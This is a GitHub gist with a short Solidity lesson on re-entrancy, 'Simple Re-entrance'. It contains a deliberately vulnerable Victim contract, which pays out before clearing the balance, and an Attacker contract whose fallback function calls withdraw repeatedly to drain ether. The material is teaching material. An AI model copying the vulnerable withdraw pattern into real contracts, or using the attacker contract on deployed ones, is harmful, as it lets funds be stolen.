Last active
April 2, 2017 07:34
-
-
Save rob-Hitchens/7eab95883e1d30b7224f024304a1f713 to your computer and use it in GitHub Desktop.
MODULE 2 - Simple Re-entrance
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.8; | |
contract Victim { | |
uint public owedToAttacker; | |
function Victim() { | |
owedToAttacker =11; | |
} | |
function withdraw() { | |
if (!msg.sender.call.value(owedToAttacker)()) throw; | |
owedToAttacker = 0; | |
} | |
// deposit some funds to work with | |
function deposit() payable {} | |
} | |
contract Attacker { | |
Victim v; | |
uint public count; | |
event LogFallback(uint count, uint balance); | |
function Attacker(address victim) payable { | |
v = Victim(victim); | |
} | |
function attack() { | |
v.withdraw(); | |
} | |
function () payable { | |
count++; | |
LogFallback(count, this.balance); | |
// crude stop before we run out of gas | |
if(count < 30) v.withdraw(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment